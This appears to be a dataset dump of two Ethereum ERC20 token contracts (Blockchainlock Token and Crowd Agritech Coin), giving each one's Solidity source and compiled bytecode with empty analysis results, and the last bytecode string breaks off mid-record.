9ab9e498bc95f4dc7987c436d67b6f9a1cd40029
|
{"success": true, "error": null, "results": {}}
| 6,228 |
0xc0a1fa082d6af662d42eb1356697298c925c1695
|
pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
assert(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// assert(_b > 0); // Solidity automatically throws when dividing by 0
uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
uint256 c = _a - _b;
return c;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
assert(c >= _a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of ""user permissions"".
*/
contract Ownable {
address public owner;
address internal newOwner;
event OwnerUpdate(address _prevOwner, address _newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
newOwner = address(0);
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/*
* @dev Change the owner.
* @param _newOwner The new owner.
*/
function changeOwner(address _newOwner) public onlyOwner {
require(_newOwner != owner);
newOwner = _newOwner;
}
/*
* @dev Accept the ownership.
*/
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnerUpdate(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function allowance(address _owner, address _spender) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/issues/20
*/
contract StandardToken is ERC20, Pausable {
using SafeMath for uint256;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) internal allowed;
uint256 totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view whenNotPaused returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint256 _addedValue) public whenNotPaused returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint256 _subtractedValue) public whenNotPaused returns (bool) {
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender by spender self.
* approve should be called when allowed[msg.sender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _from The address which will transfer the funds from.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function spenderDecreaseApproval(address _from, uint256 _subtractedValue) public whenNotPaused returns (bool) {
uint256 oldValue = allowed[_from][msg.sender];
if (_subtractedValue >= oldValue) {
allowed[_from][msg.sender] = 0;
} else {
allowed[_from][msg.sender] = oldValue.sub(_subtractedValue);
}
emit Approval(_from, msg.sender, allowed[_from][msg.sender]);
return true;
}
}
/**
* @title BCL token.
* @dev Issued by blockchainlock.io
*/
contract BCLToken is StandardToken {
string public name = "Blockchainlock Token";
string public symbol = "BCL";
uint8 public decimals = 18;
/**
* @dev The BCLToken constructor
*/
constructor() public {
totalSupply_ = 360 * (10**26); // 36 billions
balances[msg.sender] = totalSupply_; // Give the creator all initial tokens
}
}
|
0x6080604052600436106100fb5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610100578063095ea7b31461018a57806318160ddd146101c25780631dc45c6d146101e957806323b872dd1461020d578063313ce567146102375780633f4ba83a146102625780635c975abb14610279578063661884631461028e57806370a08231146102b257806379ba5097146102d35780638456cb59146102e85780638da5cb5b146102fd57806395d89b411461032e578063a6f9dae114610343578063a9059cbb14610364578063d73dd62314610388578063dd62ed3e146103ac575b600080fd5b34801561010c57600080fd5b506101156103d3565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014f578181015183820152602001610137565b50505050905090810190601f16801561017c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019657600080fd5b506101ae600160a060020a0360043516602435610461565b604080519115158252519081900360200190f35b3480156101ce57600080fd5b506101d76104d0565b60408051918252519081900360200190f35b3480156101f557600080fd5b506101ae600160a060020a03600435166024356104d6565b34801561021957600080fd5b506101ae600160a060020a03600435811690602435166044356105d0565b34801561024357600080fd5b5061024c610761565b6040805160ff9092168252519081900360200190f35b34801561026e57600080fd5b5061027761076a565b005b34801561028557600080fd5b506101ae6107e2565b34801561029a57600080fd5b506101ae600160a060020a03600435166024356107f2565b3480156102be57600080fd5b506101d7600160a060020a03600435166108ec565b3480156102df57600080fd5b50610277610907565b3480156102f457600080fd5b5061027761099e565b34801561030957600080fd5b50610312610a1b565b60408051600160a060020a039092168252519081900360200190f35b34801561033a57600080fd5b50610115610a2a565b34801561034f57600080fd5b50610277600160a060020a0360043516610a85565b34801561037057600080fd5b506101ae600160a060020a0360043516602435610ae6565b34801561039457600080fd5b506101ae600160a060020a0360043516602435610be1565b3480156103b857600080fd5b506101d7600160a060020a0360043581169060243516610c82565b6005805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104595780601f1061042e57610100808354040283529160200191610459565b820191906000526020600020905b81548152906001019060200180831161043c57829003601f168201915b505050505081565b60015460009060a060020a900460ff161561047b57600080fd5b336000818152600360209081526040808320600160a060020a0388168085529083529281902086905580518681529051929392600080516020610cf3833981519152929181900390910190a350600192915050565b60045490565b600154600090819060a060020a900460ff16156104f257600080fd5b50600160a060020a038316600090815260036020908152604080832033845290915290205480831061054757600160a060020a038416600090815260036020908152604080832033845290915281205561057c565b610557818463ffffffff610cc816565b600160a060020a03851660009081526003602090815260408083203384529091529020555b600160a060020a038416600081815260036020908152604080832033808552908352928190205481519081529051929392600080516020610cf3833981519152929181900390910190a35060019392505050565b60015460009060a060020a900460ff16156105ea57600080fd5b600160a060020a03841660009081526002602052604090205482111561060f57600080fd5b600160a060020a038416600090815260036020908152604080832033845290915290205482111561063f57600080fd5b600160a060020a038316151561065457600080fd5b600160a060020a03841660009081526002602052604090205461067d908363ffffffff610cc816565b600160a060020a0380861660009081526002602052604080822093909355908516815220546106b2908363ffffffff610cdc16565b600160a060020a0380851660009081526002602090815260408083209490945591871681526003825282812033825290915220546106f6908363ffffffff610cc816565b600160a060020a03808616600081815260036020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b60075460ff1681565b600054600160a060020a0316331461078157600080fd5b60015460a060020a900460ff16151561079957600080fd5b6001805474ff0000000000000000000000000000000000000000191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b60015460a060020a900460ff1681565b600154600090819060a060020a900460ff161561080e57600080fd5b50336000908152600360209081526040808320600160a060020a038716845290915290205480831061086357336000908152600360209081526040808320600160a060020a0388168452909152812055610898565b610873818463ffffffff610cc816565b336000908152600360209081526040808320600160a060020a03891684529091529020555b336000818152600360209081526040808320600160a060020a038916808552908352928190205481519081529051929392600080516020610cf3833981519152929181900390910190a35060019392505050565b600160a060020a031660009081526002602052604090205490565b600154600160a060020a0316331461091e57600080fd5b60005460015460408051600160a060020a03938416815292909116602083015280517f343765429aea5a34b3ff6a3785a98a5abb2597aca87bfbb58632c173d585373a9281900390910190a1600180546000805473ffffffffffffffffffffffffffffffffffffffff19908116600160a060020a03841617909155169055565b600054600160a060020a031633146109b557600080fd5b60015460a060020a900460ff16156109cc57600080fd5b6001805474ff0000000000000000000000000000000000000000191660a060020a1790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b600054600160a060020a031681565b6006805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104595780601f1061042e57610100808354040283529160200191610459565b600054600160a060020a03163314610a9c57600080fd5b600054600160a060020a0382811691161415610ab757600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60015460009060a060020a900460ff1615610b0057600080fd5b33600090815260026020526040902054821115610b1c57600080fd5b600160a060020a0383161515610b3157600080fd5b33600090815260026020526040902054610b51908363ffffffff610cc816565b3360009081526002602052604080822092909255600160a060020a03851681522054610b83908363ffffffff610cdc16565b600160a060020a0384166000818152600260209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b60015460009060a060020a900460ff1615610bfb57600080fd5b336000908152600360209081526040808320600160a060020a0387168452909152902054610c2f908363ffffffff610cdc16565b336000818152600360209081526040808320600160a060020a038916808552908352928190208590558051948552519193600080516020610cf3833981519152929081900390910190a350600192915050565b60015460009060a060020a900460ff1615610c9c57600080fd5b50600160a060020a03918216600090815260036020908152604080832093909416825291909152205490565b60008083831115610cd557fe5b5050900390565b600082820183811015610ceb57fe5b939250505056008c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925a165627a7a723058206953aa6a32cd9746680a58df65c184318b6cd1b6b42a3c6b009b24aa669a46510029
|
{"success": true, "error": null, "results": {}}
| 6,229 |
0xa9118e06edfdb8c77ebd6a6538fcccd1d92882fe
|
pragma solidity ^0.5.2;
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "multiplication constraint voilated");
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "division constraint voilated");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "substracts constraint voilated");
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "addition constraint voilated");
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "divides contraint voilated");
return a % b;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public{
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner, "Ownable: only owner can execute");
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "Ownable: new owner should not empty");
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev modifier to allow actions only when the contract IS paused
*/
modifier whenNotPaused() {
require(!paused, "Pausable: contract not paused");
_;
}
/**
* @dev modifier to allow actions only when the contract IS NOT paused
*/
modifier whenPaused {
require(paused, "Pausable: contract paused");
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() public onlyOwner whenNotPaused returns (bool) {
paused = true;
emit Pause();
return true;
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() public onlyOwner whenPaused returns (bool) {
paused = false;
emit Unpause();
return true;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0), "BasicToken: require to address");
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0), "StandardToken: receiver address empty");
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
require(_spender != address(0), "StandardToken: spender address empty");
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint256 _addedValue) public
returns (bool success) {
require(_spender != address(0), "StandardToken: spender address empty");
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint256 _subtractedValue) public
returns (bool success) {
require(_spender != address(0), "StandardToken: spender address empty");
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished, "MintableToken: require minting active");
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will recieve the minted tokens.
* @param _value The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _value) public onlyOwner canMint returns (bool) {
totalSupply = totalSupply.add(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(address(0), _to, _value);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() public onlyOwner returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract BurnableToken is StandardToken {
/**
* @dev Burns a specified amount of tokens.
* @param _value The amount of tokens to burn.
*/
function burn(uint256 _value) public {
require(_value > 0, "BurnableToken: value must be greterthan 0");
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Transfer(msg.sender, address(0), _value);
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value)public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract CAC is MintableToken, PausableToken, BurnableToken {
string public name = "Crowd Agritech Coin";
string public symbol = "CAC";
uint8 public decimals = 18;
uint256 public initialSupply = 5000000000 * (10 ** uint256(decimals));
// Constructor
constructor() public {
totalSupply = initialSupply;
balances[msg.sender] = initialSupply; // Send all tokens to owner
emit Transfer(address(0), msg.sender, initialSupply);
}
// Don't accept ETH
function () external payable {
}
// Only owner can kill
function kill() public whenNotPaused onlyOwner {
selfdestruct(msg.sender);
}
}
|
0x6080604052600436106101355760003560e01c80635c975abb116100ab5780638da5cb5b1161006f5780638da5cb5b146105dc57806395d89b4114610633578063a9059cbb146106c3578063d73dd62314610736578063dd62ed3e146107a9578063f2fde38b1461082e57610135565b80635c975abb1461047757806366188463146104a657806370a08231146105195780637d64bcb41461057e5780638456cb59146105ad57610135565b8063313ce567116100fd578063313ce56714610327578063378dc3dc146103585780633f4ba83a1461038357806340c10f19146103b257806341c0e1b51461042557806342966c681461043c57610135565b806305d2035b1461013757806306fdde0314610166578063095ea7b3146101f657806318160ddd1461026957806323b872dd14610294575b005b34801561014357600080fd5b5061014c61087f565b604051808215151515815260200191505060405180910390f35b34801561017257600080fd5b5061017b610892565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101bb5780820151818401526020810190506101a0565b50505050905090810190601f1680156101e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561020257600080fd5b5061024f6004803603604081101561021957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610930565b604051808215151515815260200191505060405180910390f35b34801561027557600080fd5b5061027e6109c7565b6040518082815260200191505060405180910390f35b3480156102a057600080fd5b5061030d600480360360608110156102b757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109cd565b604051808215151515815260200191505060405180910390f35b34801561033357600080fd5b5061033c610a66565b604051808260ff1660ff16815260200191505060405180910390f35b34801561036457600080fd5b5061036d610a79565b6040518082815260200191505060405180910390f35b34801561038f57600080fd5b50610398610a7f565b604051808215151515815260200191505060405180910390f35b3480156103be57600080fd5b5061040b600480360360408110156103d557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c14565b604051808215151515815260200191505060405180910390f35b34801561043157600080fd5b5061043a610e5f565b005b34801561044857600080fd5b506104756004803603602081101561045f57600080fd5b8101908080359060200190929190505050610fbe565b005b34801561048357600080fd5b5061048c611136565b604051808215151515815260200191505060405180910390f35b3480156104b257600080fd5b506104ff600480360360408110156104c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611149565b604051808215151515815260200191505060405180910390f35b34801561052557600080fd5b506105686004803603602081101561053c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111e0565b6040518082815260200191505060405180910390f35b34801561058a57600080fd5b50610593611229565b604051808215151515815260200191505060405180910390f35b3480156105b957600080fd5b506105c261133c565b604051808215151515815260200191505060405180910390f35b3480156105e857600080fd5b506105f16114d2565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561063f57600080fd5b506106486114f8565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561068857808201518184015260208101905061066d565b50505050905090810190601f1680156106b55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156106cf57600080fd5b5061071c600480360360408110156106e657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611596565b604051808215151515815260200191505060405180910390f35b34801561074257600080fd5b5061078f6004803603604081101561075957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061162d565b604051808215151515815260200191505060405180910390f35b3480156107b557600080fd5b50610818600480360360408110156107cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116c4565b6040518082815260200191505060405180910390f35b34801561083a57600080fd5b5061087d6004803603602081101561085157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061174b565b005b600360149054906101000a900460ff1681565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109285780601f106108fd57610100808354040283529160200191610928565b820191906000526020600020905b81548152906001019060200180831161090b57829003601f168201915b505050505081565b6000600360159054906101000a900460ff16156109b5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f5061757361626c653a20636f6e7472616374206e6f742070617573656400000081525060200191505060405180910390fd5b6109bf8383611954565b905092915050565b60005481565b6000600360159054906101000a900460ff1615610a52576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f5061757361626c653a20636f6e7472616374206e6f742070617573656400000081525060200191505060405180910390fd5b610a5d848484611acb565b90509392505050565b600660009054906101000a900460ff1681565b60075481565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b44576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f4f776e61626c653a206f6e6c79206f776e65722063616e20657865637574650081525060200191505060405180910390fd5b600360159054906101000a900460ff16610bc6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f5061757361626c653a20636f6e7472616374207061757365640000000000000081525060200191505060405180910390fd5b6000600360156101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a16001905090565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610cd9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f4f776e61626c653a206f6e6c79206f776e65722063616e20657865637574650081525060200191505060405180910390fd5b600360149054906101000a900460ff1615610d3f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806126e86025913960400191505060405180910390fd5b610d5482600054611e0190919063ffffffff16565b600081905550610dac82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e0190919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600360159054906101000a900460ff1615610ee2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f5061757361626c653a20636f6e7472616374206e6f742070617573656400000081525060200191505060405180910390fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fa5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f4f776e61626c653a206f6e6c79206f776e65722063616e20657865637574650081525060200191505060405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff16ff5b60008111611017576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602981526020018061270d6029913960400191505060405180910390fd5b600033905061106e82600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e8990919063ffffffff16565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110c682600054611e8990919063ffffffff16565b600081905550600073ffffffffffffffffffffffffffffffffffffffff163373fffffffffffffffffffffffffff